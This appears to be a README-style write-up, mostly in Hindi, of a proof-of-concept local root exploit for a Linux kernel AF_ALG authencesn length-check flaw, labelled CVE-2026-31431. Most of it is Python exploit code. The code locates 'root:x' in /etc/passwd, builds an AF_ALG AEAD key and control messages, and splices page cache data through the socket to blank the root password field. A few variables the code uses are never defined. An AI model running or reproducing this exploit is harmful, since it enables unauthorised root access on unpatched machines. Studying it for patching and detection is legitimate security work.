
CVE-2026-31431 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो AF_ALG authenc लंबाई जांच बाईपास के माध्यम से Linux कर्नेल विशेषाधिकार वृद्धि है, जो /etc/passwd को संशोधित करके रूट प्राप्त करता है।
यह एक्सप्लॉइट Linux में authencesn लंबाई जांच सुविधा की त्रुटि का फायदा उठाता है, जिससे dirty page को उन स्थानों पर write back किया जाता है जहां उपयोगकर्ता के पास अनुमति नहीं होती, जिससे विशेषाधिकार वृद्धि (privilege escalation) होती है
मुख्य रूप से इस repo के हमले के सिद्धांत का संदर्भ लिया गया है, कुछ payload में संशोधन किया गया है
https://github.com/rootsecdev/cve_2026_31431
यह छवि 6.12.85 linux kernel का सुधार पैच है, भविष्य में इन पैचों का trace code करें
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
लक्ष्य /etc/passwd में root का पासवर्ड बिना पासवर्ड के बदलना है (/etc/shadow सत्यापन के बिना)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass